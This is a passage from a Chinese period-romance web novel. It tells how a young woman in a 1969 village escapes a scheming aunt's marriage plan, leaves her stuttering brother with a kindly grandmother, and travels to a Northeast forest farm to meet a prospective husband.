《错嫁给年代文大佬后》
1. 严雪
一月初,正是天气最冷的时候。
哪怕是相对暖和的关内,雪落了化,化了又落,依旧在地上积了一小层,薄薄覆盖住进村的土路。
严雪背着背筐从村口进来,已经有不少人家升起了炊烟。
她所在的严家庄不算大,全村上下只有不到二百户人家。村内并没有供销社,买东西、卖自家剩余的农副产品都得去附近村落五天一个的集。
今天赶集的大赵家有点远,一来一回要三十多里地,难免耽误了些时间。
严雪在大门外跺了跺鞋上的雪,刚进院,就看到一个身影猴一般从自家门里窜出来。
严家这处院子不算大,正房四间,住着严大伯一家八口和守寡的二奶奶。东边一间半厢房是严父结婚时另盖的,如今住着严雪和弟弟严继刚,因为小,到院门也就五六米的距离。
严大伯十一岁的三儿子严继宗手扒在门框上,还在嬉皮笑脸朝里喊:“你、你少学、学别人说话~我、我没学、学人说话啊~”
严雪不用想,都知道弟弟严继刚现在一定急得脸红脖子粗,偏偏越着急就越说不出一句流畅的话。
自从去年严父被山上的落石砸死,不小心看到了父亲血肉模糊的死状,九岁的严继刚就落下了口吃的毛病,晚上也整宿整宿做噩梦,时不时还伴有抽搐。
这种心理性口吃其实是有治愈可能的,但他们条件实在不允许。严继宗这些熊孩子也整天学着严继刚说话,把这个当好玩儿,弄得严继刚愈发不敢开口,甚至不敢出门。
果然里面传出磕磕绊绊的声音,“你、你这就、就是……”
“我、我、我就是!”严继宗继续学,已经忍不住笑成了一团。
严雪看着,几步上前,照着他后脑就是一巴掌,“作业写完了吗,就到处跑?”
力道着实不轻,拍出了‘啪’地一声脆响。
严继宗立即吃痛地捂住头,回头看到是她,差点蹦起来,“我就是和继刚开个玩笑,你打我干啥?”
“我就是和你开个玩笑,什么时候打你了?”
严雪脸上不见怒意,甚至笑盈盈的,把他的话又还给了他。
跟这种熊孩子讲不能拿别人的缺陷笑话人,会伤人自尊是没用的,人家父母都不管,说那只是小孩子之间闹着玩,还怪她小题大做。
她也懒得帮别人教育儿子,干脆看到一次也和对方开玩笑一次,看对方什么时候能长记性。
见人明显被噎了下,严雪甚至抬起手,“你要是觉得拍重了,我重新来一次,这回管保轻轻的。”
严继宗敢让她重来才有鬼,上次他信了,差点让她一巴掌拍到地里去。
他捂着脑袋就跑,“我又不是傻子。”
看来也不是一点记性都不长。
严雪这才迈进门,问站在里屋门口的弟弟:“继宗来找你玩的?”
不是她多此一问,严继宗闲不住,来过几次发现严继刚不爱出门更不爱说话,已经有阵子没太往这边跑了。
说这话时严雪语速缓慢,语气自然又松弛,好像只是随口一问。
这是她上辈子听人说的,松弛缓慢的语言环境能让患者放下紧张,有效改善说话困难。
说起来她穿越已经一年了,或许还更早。反正自从一年前撞破头,脑子里就多了另一段记忆,两段记忆不停在她脑袋里打架,弄得她病了得有小半年,到现在也没搞清楚自己算魂穿还是胎穿。
不过两段记忆差了近六十年,倒是有一点相似,都是刚刚没了爹。
只不过一个是亲父,一个是继父;一个丢下她孤身一人,一个还给她留了个同母异父的弟弟。
至于母亲,上辈子那个跑得早,她没太多印象;这辈子这个倒是疼孩子,无论沦落到何种境地都没有抛下她。可惜寿数不长,生下严继刚没几年就生病去世了,留下她一个改姓严的非严家人,有一半都是继父养大的。
所以严雪和这个弟弟,是真正的相依为命。她病得最重的那两个月,也是严继刚忍着恐慌在照顾她。
没了外人,严继刚果然没那么紧张了,学着她的样子放慢语速,“不是,他来……送东西,说是……大伯娘给的。”
虽然还是很艰难,但好歹没结巴。
顺着弟弟手指的方向,严雪看到了大地锅边的灶台上,四个金灿灿、装在粗瓷盘子里的豆面粑粑。
这可就稀奇了,尽管严父过世时,严雪才十七,和弟弟两个人的监护权都落在了严大伯一家。但不管是过日子,,还是还之前严雪看病借队里的钱,都是严雪自己在想办法,那边连粒米都没给他们送过。
何况严家庄这一片是出了名的地瓜线,因其土地深厚疏松,排水良好,特别适合种地瓜,70%以上的产粮都是地瓜。就连蒸个干粮,都要打地瓜酵子,将熟地瓜剥了皮揣在面引子里,发起来再掺上白面发第二遍。平时女人跟小孩根本就见不着其他粮食,干粮那都是给要下地的男人吃的。
豆面粑粑玉米面放得扎实,还掺了四分之一到三分之一的黄豆面,贴在锅边烙出来,上面松软下面酥脆,特别地香,大伯娘会舍得给他们送这个?
严雪第一个反应就是无事献殷勤,非奸即盗。
严继刚对自己大伯一家也显然早没了亲情滤镜,小脸上露出担忧,“他、他们又想想干嘛?”
这家人可是有前科的,当初严父意外身亡,责任追到了在山上用炸药采石的隔壁王家村。毕竟是一条人命,王家村多少给赔了点钱,严家大伯娘去拿的,回来连提都没跟姐弟俩提,全揣自己兜里了。
要不是因为这,严雪也不会跑去跟他们理论,然后撞到头,在炕上躺了小半年。
“没事,管她打什么主意,也得咱们愿意配合。“
两辈子加起来,严雪碰到的难事可太多了,也都熬了过来,倒是没那么忧心。
她解下背筐放在地上,“正好大赵家那边花生收得比咱这贵一分,一毛九一斤。我顺便在集上买了条咸鱼,明天泡一泡和萝卜一起煎上,就着这个饼子,也省的我再花工夫弄了。”
计划经济时期物资紧缺,能吃饱饭已属不易,咸鱼都成了好东西中的好东西。
一听说有好吃的,严继刚眼睛蹭地一亮。
不过很快,他又踌躇起来,“姐,咱还欠、欠队里多少钱?”
“欠钱就不吃饭了?”严雪摸摸他的头,“这一天走了好几十里路,我都要饿死了,你过来帮我生个火。”
到底是小孩子,严继刚的注意力立马被转移,应一声跑去生火,手里拉着风箱,嘴上还不忘关心她,“要不……姐你先吃……吃个饼子?”
“不差这一会了。”严雪收拾好背筐,又拿出今天才挣的钱开始算账。
严家庄不比隔壁王家村有采石场,全
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指着地里吃饭,每年过了秋收,按工分给各家分粮。
家里工分挣得多,或是自留地有出息,余出来的就可以卖到收购站,换一点微薄的收入;要是家里孩子多,劳动力少,还要倒过来跟队里买粮,可能就要欠队里的钱了。
严雪去年有小半年都在养病,家里养了十来只鸡,才靠着卖鸡蛋勉强维持住了收支平衡,还钱根本不用想。这年代倒买倒卖还犯法,就算她敢顶着风险重操旧业,去海边批了鱼到各村卖,能赚的差价也很有限,完全是杯水车薪。
而且现在最棘手的还不是钱,是严继刚的心理问题。
去年他就没有去上学,学费都交好了,人却偷偷跑了回来,被她发现的时候脸都是白的。过完年他就要满十周岁了,总不能还不去上学吧?
就算她能在家里教他识字、算数,他难道还能躲在家里,一辈子不见人?
想着,严雪嚼饼子的动作就慢了下来。饭桌对面的严继刚见了,还以为她是不舍得吃完,低头看看自己的,把没咬过那边掰了递给她,“我吃不了。”
“我也吃不了。”严雪回过神,将饼子又推了回去。
她喝了口手边的白菜汤,沉吟着问弟弟:“继刚,如果咱们换个地方住,你敢试着出一下门吗?“
严继刚一顿,张张嘴想说什么又说不出来,只能低下头,满脸羞愧。
严雪就没再提,吃完饭将碗筷和地锅收拾好,回来严继刚已经把饭桌擦干净,拿出本子和铅笔放在桌上,等着她教认字。
当天夜里,严继刚再一次做了噩梦。
身边的人呼吸一变重,严雪就觉察到了,伸手隔着被子轻拍了拍,等人彻底醒来,又披上棉袄去地上倒了杯温水。
严继刚小声道谢,喝完又重新躺进被子,明明怕得要命,却闭着眼睛假装自己还可以睡着。
有那么一瞬间,严雪想到了自己前世的爸爸。
他临终前住院那段时间也是这样,明明被病痛折磨得彻夜难眠,却怕吵到她,僵着身体连个身都不敢翻。
也不知道是不是老天看她就剩自己了,才把她踹回了这六十年代,又给了她一个血脉相连的亲人。
总不能是因为她被隔壁陪床的小姑娘拉着看了本小说吧?
那本小说里虽然也有个角色叫严雪,可人家运气比她好,不仅会投胎,找个丈夫也是研究所的高级工程师。
唯一不走运的是动乱刚开始那几年退了门娃娃亲,而对方仿佛拿了退婚流剧本,都没用三十年河东,三十年河西,二十年就回来报复她了。而她那个高级工程师丈夫不但没能保护她,还和对方仇怨更深,先她一步身败名裂,端上了糊纸盒的铁饭碗……
这么一想,没有赶时髦穿个书也还挺好的。
感觉身边的呼吸渐渐平稳,严雪重新睡下,第二天早上数数日历上的日子,背上背筐出去了一趟。
回来的时候严继刚已经把鸡喂了,屋里屋外扫得干干净净,还在鼓着没什么肉的小脸仔细擦拭大地锅的木头锅盖,像个勤劳的拇指姑娘。
只要别出门,只要别和人说话,他在自家这方寸大的小土房还是挺自在的。
严雪有些无奈,去屋后的自留地挖了根萝卜。买来的咸鱼她昨天晚上就泡上了,现在正好泡开,切一切就能下锅。
正准备下油升灶,堂屋门一响,大伯娘白秀珍裹着寒风走了进来。
2. 对象
“做饭呢?昨天送来那饼子你跟继刚吃了没?”
白秀珍进门就问。
所谓拿人手短,吃人嘴软。她先提这个,哪怕之前两家闹得不太愉快,严雪也不好给她甩脸色,接下来的话自然就好说了。
严雪果然没给她甩脸色,笑盈盈去开了碗柜,“还剩俩,大娘您家要是不够吃就拿回去,我这还有地瓜。”
白秀珍准备好的说辞当时就卡在了嗓子眼,情绪都不连贯了,“我不是这个意思。”
明明她是施以恩惠的那个,叫严雪这么一说,倒好像她多抠门,东西送出去了还要来讨回来。
严雪本来也没想真还,顺势就又放了回去,“那您是有什么事?”
几句话的工夫,白秀珍进门时那种高高在上已经有些维系不住,又顿了顿才组织好语言,“这不前两天翻日历,发现你就快满十八了吗?我像你这么大,你大哥都能满地爬了,你这该抓紧也得赶紧抓点紧。”
原来是为这个,严雪不能说早有所料,但的确往这个方向猜测过。
严继刚本来躲在里屋,闻言也忍不住探出半边头。
白秀珍没在意,还在那拉着严雪说话,“是个挺不错的小伙子,长得特别好,你见了保准能相中。关键是家里也通情达理,听说你还有个弟弟,让你把继刚也一块带去,这样的人家可不好找。”
父母双亡,还带个拖油瓶弟弟,一结婚就等于直接当爹,这样的姑娘的确不好嫁。
何况父母双亡,往深里想是相克的八字。虽说破四旧已经轰轰烈烈搞了好多年,可农村人特别在意这个,谁知道她还会不会克别人。
严雪低了头,脸上露出些为难,声音也小了下去,“大娘,我这还戴着孝呢。”
“都新社会了,谁还讲究这啊?再说你不是满一年了吗?真等三年,不得等成个老姑娘,到时候黄花菜都凉了。”
白秀珍不以为意,“我这也是看你一个人带着继刚,日子过得难。找个男人,好歹家里有个主心骨,比你这样啥都自己扛强。你这两天就别往外跑了,找个时间先去相对象,成就趁着年底赶紧把事办了。”
连啥时候结婚都安排好了,倒比严雪这个独自带着弟弟,又要养家又要还债的还要急。
严雪就没再说什么,只将头垂得更低,“再等等吧,我……我这还没满十八呢。”
白秀珍见她没有反对的意思,只当她是害羞,“也行,不差这几天了。你好好想想,早点找婆家,你也能早轻快轻快不是?我就不耽误你做饭了。”
人一走,严继刚立马从里屋出来,跑过来拉住了严雪的衣角。
小少年仰着脸,清澈的眼睛里有担忧,也有关切,可却抿抿唇什么都没说。
严雪捏了把他的小脸,“又不是给你找媳妇,你着什么急?”
严继刚脸立马红了。
严雪就拖着这么个大尾巴,回到锅边继续做饭,“大伯娘介绍这个人,估计长得不错。”
严继刚眨了一下眼,似乎不明白她为什么说这个。
严雪慢悠悠讲给他听,“人想把一样东西推销出去的时候,会不停突出甚至放大这样东西的优点,对缺点避而不谈。大伯娘一直叫我见人,肯定是有自信见了之后我能看上,不然她不是白忙活了。”
严继刚虽然不敢出门,学也没有上过,但先丧母后丧父,其实比同龄孩子更加早熟。
严雪说给他听,他脸上果然露出思索,“那……其他的……”
“大伯娘既然没提,肯定有不如人意的地方,就看是哪些方面不如人意了。”
严雪一直是个很现实的人,上辈子那些经历也由不得她不现实,“人这一辈子,不如意的是大多数,知道自己最想要什么就好了。抓住自己最想要的,不重要那些该舍就舍,也只能舍。”
这回严继刚沉默了更久,也不知道有没有听懂。
好半天,他才问姐姐:“你这是……要去见?”
“条件合适的话,见见也无妨。”严雪一笑,抬头朝正屋西边看了眼,“不过在那之前,还得先打听打听。”
所以她才以自己未成年为由,给自己争取了几天时间。
严继刚这种情况,最好是换个生活环境,能让他放松下来,不再想起那些噩梦,也不再有人整天学着他说话。
在这个时代,女性一直不结婚也不现实。倒不是养不起家,是独身女性身边没个男人,总免不了被人惦记,尤其是生活在农村的独身女性。
当初她生父过世,她妈一个人带着她,就差点让人摸进来,那个人还是她的亲三叔……
事涉自己儿子,她那对爷奶肯定不能帮她妈做主,甚至指责是她妈耐不住,勾引了自己儿子。不然她妈也不会毅然决然带着她改嫁到了这么远的地方,还连她的姓都改了,彻底跟原来的家庭断了关系。
如果严雪穿的是五十年代,或者改革开放以后,就去城里看看能不能找到机会了。
可现在是1969年,城里人都得下乡做知青。不通过嫁人这种方式,她连这个村子都没法离开。
严雪把炒好的菜盛出来,对严继刚说:“你先吃,我去给咱二/奶奶送点。”去碗柜又拿了个碗。
没想到严继刚进屋把盘子放好,又赶紧跑出来,要跟她一起去。
冬天天冷,关里这边北边的窗户多数是用黄泥做的砖坯堵起来的,为的是挡风,只留南边的窗户采光。
姐弟俩趁着大伯一家正吃饭,从屋后绕到了正房的西间,抬手敲了三下窗,不多会儿,里面便响起了拔插销的声音。
严家这位二老太太年少守寡,才二十来岁丈夫就没了,两个孩子也相继早夭,一直跟着大伯哥也就是严继刚爷爷一家过日子。
那时村里都传她方儿子方汉子,她自己心里也存了忌讳,一直没有再嫁,只象征性过了大伯哥家二儿子也就是严雪的继父严柏山当嗣子。
但其实就是走个形式,省的她过继了别人,房子和地都落到别人手里,严柏山根本没和这位过房妈一起生活过,而是继续养在父母膝下。老太太似乎也不在意,在严家不言不语,不闻不问,活得像一个隐形人。
以前严雪没注意,多了一段人生后再回头看与这位过房奶奶的几次接触,发现对方绝对是个洞若观火的明白人。
“奶奶您吃饭了吗?我刚做了咸鱼炖萝卜。”她把碗从敞开的窗缝递进去。
油放得不多,但切成段的咸鱼还是被煎得微微泛黄,配上色子那么大的萝卜块,看着就让人有食欲。
二老太太说话一向慢悠悠的,“做了就自己吃,往我这送什么?”
“这些年我跟继刚的衣裳和鞋,您也没少帮着做啊。要不就我那针线活,我们都得光着。”
严雪长了张线条柔和的脸,一笑起来眼睛弯弯的,特别讨人喜欢,小嘴巴也会说话。二老太太那张过早苍老的脸上眼见着有了笑意,“瞎说啥呢?”
又低声问:“你大伯娘刚往你那边去了吧?”
“就知道瞒不过您。”严雪并不觉得意外。
二老太太也没有要拐弯抹角的意思,“这几天你不在家,你大伯娘那个嫁在垛崮村的远房妹子来过两趟。”
都不用再多说,严雪就懂了。
垛崮,顾名思义,垛起来的石头。
那边可是十里八乡有名的贫困村,土地薄,地里不出息,山上的石头也不成才,年年都完不成国家给定的任务。别说外地姑娘不愿意嫁,本村姑娘都跑光了,全村不到一百户人家,就有三十多个光棍。
如果是因为穷,愿意让她把弟弟带上,的确说得过去。
没想到二老太太又看了严继刚一眼,明显还有话说。
严雪立马捂上了弟弟的耳朵。
二老太太声音压得更低,
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“她说那户人家我知道,家里一共五个儿子。前些年老大说了媳妇,三天回门,就再没从娘家回来。”
才过了三天就不过了,是男方打老婆还是……
严雪刚在脑子里转过,就听二老太太若有所指道:“有人看到他们家老二后背全是血道道。”
老大结婚,老二后背全是血道道……
这严雪都忍不住要抽气了,难怪不让严继刚听,“她们给我介绍的不会就是这个老大吧?”
“那倒没有,他们给你介绍的是老三。前些年没的吃,老大跟人去岛上赶海,回来的时候船沉了。”
这个事在当地很出名,严雪那时候年纪还小,依然有所耳闻。听说是回来的时候船漏水,开船的让把桶里的东西倒倒,船上人饿怕了,没一个舍得,最后二十多个人全淹死了,最多的一家没了俩。
可就算不是老大,老三也很危险好吗?
总不能拿自己的下半辈子赌人家只对嫂子感兴趣吧?
听说这位老二至今还没有结婚,下面还有两个刚刚成年的弟弟……
回去的路上,严继刚一直拿眼瞧严雪,一副想问又不知道能不能问的样子。
严雪上辈子没少在网上吃瓜,依旧觉得很炸裂,一时没顾上理会。直到吃饭时严继刚仍然心不在焉的,她才组织了下语言,问弟弟:“你想不想要四个姐夫?”
“四个?”严继刚差点噎着,反应过来立马摇头。
“我也不想,所以咱们还是另想办法吧。”
于是等白秀珍算着日子,过来问严雪准备得怎么样了,严雪再一次找了借口拖延时间。
白秀珍有些不悦,回去把这事和严大伯严松山说了,“当自己是啥千金大小姐呢,给她介绍个对象还拿三拿四的。”
严松山眉头也皱了起来,“她不会是知道了吧?”
这白秀珍倒是不担心,“她能知道个啥?谁闲着没事跟个十几岁的小妮子说这些?再说那都是没影的事,外面瞎传的。”
话是这么说没错,可严松山始终觉得不放心。
自从柏山没了,严雪那妮子就总给他一种不太对的感觉,具体哪里不对,他又说不出来。
“还是得再加一层保险。”严松山眉头始终没有舒展,“那妮子不是还欠着生产队的钱吗?不行你跟他们家说说,让他们先给还了。”
有了债务关系,这个对象相不相,嫁不嫁,可就由不得她了。
“让他们还?那他们之前跟我说的……”白秀珍欲言又止。
他们钱够不够,关他们什么事?
严松山瞥了妻子一眼,“实在不行就算了,又不是非他们不可。”
并不是很执着促成这件事的样子,甚至转移话题说起了别的,“继祖跟他那个对象,处了得有小半年了吧?”
提到大儿子,白秀珍又挂起脸,“可不是,这要不是咱家没地方,年底就能把婚结了。”
严家院子小,孩子又多,根本腾不出地方给儿子结婚,还得想法子另盖,又麻烦又费钱。
何况他们又不止这一个儿子,后面还有三个等着呢,都花完了老二老三怎么办?
这么一想,白秀珍更想快点把严雪那姐弟俩弄走了,“我还是去跟他们家说说,既然要娶媳妇,也不差这点钱。”包了围巾往外面走。
刚出正屋,迎面就看到一个小毛驴哒哒哒停在了院门外。
驴上的人白秀珍认识,是严雪她妈的亲堂姑,就嫁在十里地外的单家村。当初严雪她妈嫁到严家,就是她介绍的。
不过这人虽然只比严雪她妈大十岁,却是裹了小脚的,走远路并不方便,平时都是人往她那边去,很少见她往严家这边来。
正纳闷,小脚老太已经从驴上下来,还笑眯眯和她打了个招呼。
“她大娘也在家啊?正好,我给小雪介绍了个对象,你也帮着参谋参谋。”
3. 相亲
一听到给严雪介绍对象,白秀珍眼皮便是一跳。
然而不等她反应,严雪这位姑姥姥已经一拐一拐去正房叫了严松山,又去西边叫了二老太太。
六个人往严雪那屋一挤,立马显得这农村的小土房有些逼仄。严松山还好,维持着脸上温和的微笑,白秀珍脸已经拉下来了。
姑姥姥也没废话,直接拿出一小沓大团结放在炕上,“这是一百块钱,男方给的彩礼。”
不等人张口,又补充,“提前预支的,要是相不中,这钱还得还回去。要是相中了,衣裳、被褥、家什,人家全另给。”
白秀珍就把嘴闭了回去。
她实在说不出这彩礼给得少,村里有些人家结婚,还给不上这些呢。
只是到底心里不痛快,忍不住说了句:“干啥的能拿出来这么些钱?不会有啥毛病吧?”
“我又不是那黑心亲戚,指着卖孩子换好处。”
老太太看她一眼,转头跟严雪介绍:“人是我一个老姐妹的外孙子,早些年跟着家里去了东北,现在在林场当工人。他姥他姥爷他爸他妈我都熟,一家子老实人,能干,还会过日子,长得也不错,一米八大个。”
当工人,那难怪出手就是一百块,哪像他们农村,一年到头也见不着几个子儿。
白秀珍开始有些牙酸了,:“怎么找了个东北的?我听说那边都是吃不上饭跑过去的,特没规程,女人也让上桌。”
以前的人都恋乡,如果不是生活不下去了,的确不会背井离乡。
可姑姥姥大闺女单秋芳也嫁在东北,回来后还按着那边养成的习惯上桌吃饭,被人看到,笑话了好一阵。
老太太没说话,掀起眼皮又看了白秀珍一眼。
严松山蹙蹙眉,似乎也觉得妻子不会说话,更别提严雪了。
有些事无论经历多少次,她都无法适应,更无法认同,还好她穿越前那会儿早没了这些破规矩。
一片让人尴尬的沉默中,还是姑姥姥率先开的口,“继刚的事,我也跟那边说了。”
她实在懒得跟对方计较,白秀珍这人说好听点是性子直,难听点就是没心眼。恶人都让她做了,也没见好处都落她兜里,反倒让别人躲在后面装了好人。
见一直老实旁听的严继刚抬起头,脸露不安,老太太给了他一个安抚的微笑,“你放心,那边没说啥,不然也不能把彩礼寄过来。”
这下白秀珍是真的没话说了。
条件差得太多,她要是再提起自己介绍那个,哪怕没那事,也有点像在侮辱人。
她不禁把视线挪向那叠大团结,这位姑姥姥却比她更快,已经拿起来塞进了严雪手里,“他们林场冬天忙,请不下来假,你要觉得合适,就过去看看。正好你秋芳姨也在那边,一个镇的,我叫她陪你过去。”
单秋芳,就是姑姥姥家大闺女。
这事眼瞅着要定下,严松山终于开口了,“听着条件是不错,我和她大娘也觉得好,就是太远了,有个什么家里也帮不上。”
想起姑姥姥家闺女也在那边,这理由怕是不够,他接着又道:“再说小雪还没出孝,也不知道那边能不能等两年。”
“是啊。”白秀珍赶忙也跟着附和,不管怎样,先把这事搅黄了再说。
话刚落,严雪就诧异地看了过来,“前几天大娘来给我介绍对象,不还说现在不讲究那些,满一年就行吗?”
当时姑姥姥和二老太太就全看向了白秀珍,意味深长地,看得人浑身不自在。
白秀珍实在挂不住脸,腾地站起身走了。
严松山倒还顾着面子,解释了句:“秀珍有事,刚才就准备出门。”才找了个借口告辞,一出去脸也沉了。
他们到底不是严雪的父母,牛不喝水还能强按头。
只不过他们这边刚有动作,那妮子姑姥姥就来给她说亲,这未免也太巧了……
严雪屋里,严松山两口子一走,一直没有做声的二老太太也抬眼看向严雪,“人是你去找的吧?”
严雪还没说话,一直坐在她旁边听着的严继刚先露出错愕。
他之前还在担心,没想到事情突然有了转机,松一口气的同时,人还有些没反应过来。
炕对面的姑姥姥闻言却笑了,那态度虽然什么都没说,但绝对是默认。
二老太太眼里就也有了笑意,“就知道你没那么好摆弄。”
“我也是有备无患,正好我本来也想换一个地方。”严雪笑着给两位长辈倒上热水。
不只是严松山两口子在等她成年,她也在等自己成年。
所以一发现白秀珍无事献殷勤,表现不对,她立马去了趟单家村,争取把主动权握在自己手里。
严雪挨上了自家姑姥姥,“那个人到底怎么样啊?”
“小姑娘家家也不害臊。”姑姥姥嘴上嗔着,人却从随身带来的布口袋里摸出张照片,“时间太赶,最近的照片我也没弄着,这是他小时候的,你瞅瞅。”
是张全家福,严雪逡巡半天,才顺着老太太的手指看到个六七岁的小男孩。
因为照片上面人多,又是黑白的,脸也看得不是很清楚,只依稀辨认出五官端正,眼睛不小。
“人你秋芳姨前几年还见过,挺精神一小伙。他家也没什么负担,父母六零年没的吃的时候就没了,没有兄弟姐妹,人后来跟着姑姑姑父长大,但毕竟隔了一层,你要真嫁过去,也管不到你们头上。”
那难怪不在意她父母双亡,还愿意让她带着弟弟。
没人管,没负担,有正式工作,人长得还不错……
以严雪现在的情况,就算拖下去,也未必能找到比这更好的,她当机立断,“那就他了,过两天我就出发。”
送走姑姥姥,二老太太倒是没急着离开,而是站在门槛里,见严雪回来,又重新坐回了炕上,“这次去东北,继刚就先别跟着去了。”
严雪进门的脚步一顿,严继刚更是猛地抬起脸,眼露惶恐。
二老太太赶忙拍拍他,“是叫你晚点去,又不是不叫你去,怎么也得让你姐姐先站稳脚跟吧?”
对于严雪到了陌生地方,能不能把日子过好,二老太太倒不担心。
看她怎么处理这件事就知道了,一面稳住严松山两口子,一面找了姑姥姥另给自己介绍对象,不慌不乱,稳得完全不像个才满十八的姑娘。
但再有本事,直接带着弟弟嫁过去,也会让她在一开始就矮了人一头,很难挺得直腰杆。
二老太太显然是经过深思熟虑的,“小雪先去,等在那边站住脚了,或是有孩子了,再接继刚过去也来得及。至于继刚,你也不用担心,不是还有我吗?奶奶别的不行,摸鸡蛋的本事还是有的,怎么也饿不着你。”
她会摸鸡蛋孵小鸡是出了名的,每年都能靠卖小鸡仔赚些钱,要是只等着别人养活,早不知道受多少白眼了。
但二老太太这人向来低调,以前并不怎么和他们往来。后来严柏山过世,倒是对姐弟俩多有关照,也都是偷偷的,何曾把这么大的责任往自己身上揽过?
严雪下意识便要拒绝,“奶奶……”
二老太太像是知道她在顾虑什么,“继刚可是我的孙子,有出继单,有村里人作证。旁人就算想管,也得先看我乐不乐意。当初分家,我也是分了家当的,有两间房,还有一口箱子。”
说这话时眼神很沉,完全不像平时那个不问世事,隐形人一样的寡居老太太。
严雪还想说什么,严继刚松开了一直紧握成拳的手,“姐,你还、还是让我留、留下吧,我不怕。”
小少年仰头望着她,脸上虽还有不安,眼神却是坚定的,“等你站、站住脚了,再来接、接我过去。”
想想他的口吃,他的不敢出门,再想想他故作坚强的懂事……
严雪咬咬牙,“最多半年。”
不舍解决不了任何问题,她只给自己半年时间,在那边站住脚,至少也得找到条来钱的路子,总不能指望别人帮她养弟弟。
严雪离开那天,严松山一家都没有来送,几个小的虽然探了头,很快又被爹妈叫了回去。
两口子实在憋气,本来还以为婚事不成,好歹人走了,房子能给他们腾出来,没想到严雪竟然把严继刚留下了。
这妮子不是最在意这个弟弟吗?
总不能之前都是装的,一找着好前程,就立马急着把包袱甩了吧?
不过他们来不来送,也没
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人在意。严雪有二老太太送到院门口,有亲弟弟送到村子外。
眼见越走越远,帮她扛着包袱的小少年却没有要停下的意思,严雪终于站住了脚。
不用她开口,严继刚也能明白她的意思,抿抿唇,最后还是没忍住,“姐,你、你会回、回来的吧?”
“最多半年。”严雪摘下了自己的手套。
严继刚同样摘掉手套和她拉钩,拉完不等她说什么,包袱一塞转身便跑,跑出很远又偷偷回头看她。
隔太远严雪看不清他的表情,却能看到他转过去之后,拿手背抹了一下脸……
三天后,老式绿皮火车停在了长白山脚下一个被雪覆盖的小镇。
听乘务员报澄水站到了,严雪裹好围巾拿好行李,刚出站,就看到有人举着个纸壳做的牌子,上面写着“严雪”两个字。
她走过去,“是秋芳姨吗?”
包裹严实的女人跺着脚点头,上下一打量,“你是小雪?”
严雪说是,对方立马把纸壳一折,夹在胳肢窝下,伸手来接她拎着的行李,“几年没见,都长成大姑娘了,你不说,我都没敢认。”
又问她:“东北冷吧?我刚来那会儿不知道厉害,耳朵、手都生了冻疮,拿冻清煮水泡了好几年才好。”
显然这是个健谈的,严雪也就跟着她往外走,“还好,姑姥姥特地嘱咐过这边冬天冷,让奶奶帮我把棉衣改了。”
“你姑姥姥就是能操心,自从我说这边冷,年年写信都要问。”
单秋芳笑,严雪眉眼也弯弯的,“姑姥姥是关心你,她这次还让我捎了不少地瓜干,给你跟孩子吃的。”
“这么远还让你背东西,也不嫌乎沉。”单秋芳嘴上抱怨,眼里笑意却更深了。
她带着严雪挤出人群,“先去我那吧,我给你做好吃的。等明天歇好了,再去林场。”
“还是先去林场吧,早见完也能早放心,我奶奶和我弟弟还在家里等消息呢。”
到底是远房亲戚,还许多年未见了,严雪并不想打扰人家。何况这年代房子都挤,城里粮食还是按人口供应的,别说招待客人了,有时候自家都不够吃。
她甚至没想让单秋芳陪着她去,还是单秋芳见实在劝不住,找了个熟人让去自家说一声,坚持穿越大半个澄水,把她带到了森铁车站,“去林场得坐小火车,那边偏,有些地方还没修路,客车开不进去。”
实在没忍住又问:“真不先上我那儿去?”
“我要是真在这落户了,还愁以后没机会?”严雪笑,“到时候一定带着谢媒礼去谢你。”
“你能过好就行,我还贪你那点谢媒礼。“
森铁火车站不大,只有一排小平房。两人进去的时候刚好有一趟小火车要发车,单秋芳找人一问,立马拉着严雪往里跑。
“就是这趟,现买票不跟趟了,上了车再补。”
她把严雪推上去,自己刚要上,后面有人喊:“秋芳姨!秋芳姨在这吗?”
单秋芳脚都踏上了铁梯,下意识回头,“谁找我?”
一个十二三岁的小姑娘迅速滑过来,鞋上套着的自制冰鞋都没解,就跳上了台阶,直喘,“你、你家大强掉冰窟窿里了,我妈让我过来跟你说一声……”
话还没说完,单秋芳瞬间变色,“大强掉冰窟窿里了?救上来了没有?”
这可是三九天,零下二三十的温度,搞不好要冻死人的。
小姑娘虽然着急,口齿却还算清晰,“救上来了,当时老多人都在附近溜冰……”
“我这就回去。”单秋芳跳下铁梯便跑,人都跑出去六七米了,想到什么又匆匆回头,“我家里有事,小雪你先自己去。人叫齐放,在金川林场,你去一打听就能找着。”
“我也去看看。”
严雪听得清楚,赶忙拎起刚刚放下的行李,才转身,火车已经晃悠悠开动。
随着乘务员“砰”一声关上门,那一大一小两道身影也迅速消失不见了。
直到入夜,又是吃药又是拿高度白酒擦身,总算把孩子的体温降了下来,单秋芳才突然想起一件事。
这边叫金川的林场有两个,一个金川,一个小金川,她当时应该没说错吧……
4. 上山
严雪也发现了这个问题,在她找乘务员补票的时候。
饶是她清楚记得单秋芳说的是金川,还是忍不住问了句:“有两个金川林场吗?”
她怕单秋芳当时着急,没把话说清楚。现在车都开了,她也没法回去找她确认。
乘务员拿着票夹头也没抬,“一个金川,一个小金川,开采时间不一样,票价也不一样。”
严雪略一思忖,最后还是掏出四毛钱,买了去金川林场的票。
单秋芳既然说是金川,那就先去金川找找看。实在找不到,再去小金川找也来得及。
乘务员说两边离得不远,也就一站路,顺着火车道就可以走过去。
小火车车道窄,内部空间自然也要小许多,没有长座位,两边都是双人座。严雪补完票,在靠近过道那边找了个位置,才坐下没多久,窗外就纷纷扬扬飘起了雪花。
关外的雪和关内的很不一样,有种张扬不羁的肆意,一旦下起来,仿佛天地间都只剩下这一种颜色。
火车刚开出澄水的时候,窗外积雪还只到小腿高,停了两站后就明显没过膝盖了。雪花落得大,也很快开始遮挡视线。
严雪在车上晃了一个多小时,才听乘务员穿过车厢报,金川林场到了。
澄水那个森铁的车站虽然小,但好歹有个车站,金川林场连站台都没有,最后一阶严雪完全是跳下去的。
她站稳脚,隔着雪幕打量了下这个全然陌生的地方。
自从五几年国家开始对长白山林区进行采伐,十几年间先后在澄水建立了数个林场。金川算是比较新的,位置也比较深,刚好处在群山之中一个山坳里面,粗略一看,少说也得有二三百户人家。
因为下雪,路上人并不多,还是有个跟她一起下车的阿姨见她眼生,主动问了她一句,“闺女你找谁?”
“大姨您认识齐放吗?应该是这几年才来林场的,人很高,有一米八,长得也很好看。”
对于这种突然而来的热情,严雪倒不认生,更不会像一般年轻姑娘扭扭捏捏,特征说得很清楚,力求精准地找到人。
那阿姨显然没想起来,但人真的很热情,直接把她带去了场部,“人都是他们管的,他们肯定知道。”
